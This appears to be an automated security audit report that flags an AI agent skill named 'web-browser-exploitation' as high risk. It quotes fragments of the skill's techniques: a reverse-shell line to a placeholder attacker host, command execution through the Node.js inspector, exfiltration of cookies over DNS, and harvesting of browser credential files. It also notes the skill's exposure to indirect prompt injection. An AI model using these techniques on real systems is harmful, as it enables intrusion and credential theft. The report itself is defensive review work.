web-browser-exploitation
Fail
Audited by Gen Agent Trust Hub on Oct 6, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFEOBFUSCATIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides instructions to exploit Node.js inspector ports (9229) using the
Runtime.evaluatemethod to execute arbitrary OS commands viarequire("child_process").execSync(). It also includes payloads for establishing reverse shells usingbash -i >& /dev/tcp/ATTACKBOX/PORTandmkfifotechniques. - [DATA_EXFILTRATION]: The skill contains extensive logic for exfiltrating sensitive browser data, including session cookies, document content, and internal network service responses, to an external attacker-controlled host (ATTACKBOX) via HTTP POST, WebSockets, and DNS exfiltration.
- [CREDENTIALS_UNSAFE]: The skill facilitates the harvesting of saved credentials, session cookies, and history by copying and querying sensitive browser profile files such as
Cookies,Login Data,key4.db, andlogins.jsonfrom Chrome and Firefox directories. - [COMMAND_EXECUTION]: The skill employs piped shell commands, such as
curl ... | python3, to process JSON data from network endpoints, which is flagged as a high-risk pattern for command injection and remote code execution. - [DYNAMIC_EXECUTION]: The instructions utilize
Runtime.evaluateto dynamically execute JavaScript in the context of browser tabs and the Node.js inspector, which is used to perform unauthorized file reads (e.g.,file:///etc/passwd) and command execution. - [OBFUSCATION]: The skill uses Base64 encoding (
btoa) to obfuscate harvested data, such as cookies, during DNS-based exfiltration to bypass security monitoring. - [INDIRECT_PROMPT_INJECTION]: The skill processes untrusted external data, including page HTML (
document.documentElement.innerHTML) and browser history, without explicit sanitization, creating a surface for indirect prompt injection. - Ingestion points: Browser history (
History), page content (document.documentElement.innerHTML), and internal service responses (bg.js). - Boundary markers: Includes a "Scope Boundary" section instructing the agent to stop after completing the methodology.
- Capability inventory: Contains shell command execution (
execSync), network exfiltration (fetch), and local file access (sqlite3). - Sanitization: No sanitization or escaping of ingested browser data is documented.
Recommendations
- HIGH: Downloads and executes remote code from: http://TARGET:9229/json - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata